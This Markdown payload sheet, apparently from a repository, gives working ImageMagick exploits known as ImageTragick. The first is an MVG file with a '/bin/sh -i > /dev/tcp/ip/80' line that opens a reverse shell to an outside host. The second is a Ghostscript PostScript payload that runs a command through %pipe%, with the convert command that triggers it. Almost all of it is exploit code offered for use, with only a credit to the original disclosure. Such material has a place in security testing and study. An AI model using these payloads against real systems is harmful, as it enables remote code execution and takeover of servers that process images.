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38 lines
684 B
Markdown
38 lines
684 B
Markdown
# Image Tragik 1 & 2
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## Exploit v1
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Simple reverse shell
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```powershell
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push graphic-context
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encoding "UTF-8"
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viewbox 0 0 1 1
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affine 1 0 0 1 0 0
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push graphic-context
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image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
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pop graphic-context
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pop graphic-context
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```
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## Exploit v2
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Simple `id` payload
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```powershell
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%!PS
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userdict /setpagedevice undef
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save
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legal
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{ null restore } stopped { pop } if
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{ legal } stopped { pop } if
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restore
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mark /OutputFile (%pipe%id) currentdevice putdeviceprops
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```
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then use `convert shellexec.jpeg whatever.gif`
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## Thanks to
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* [openwall.com/lists/oss-security/2018/08/21/2 by Tavis Ormandy](http://openwall.com/lists/oss-security/2018/08/21/2) |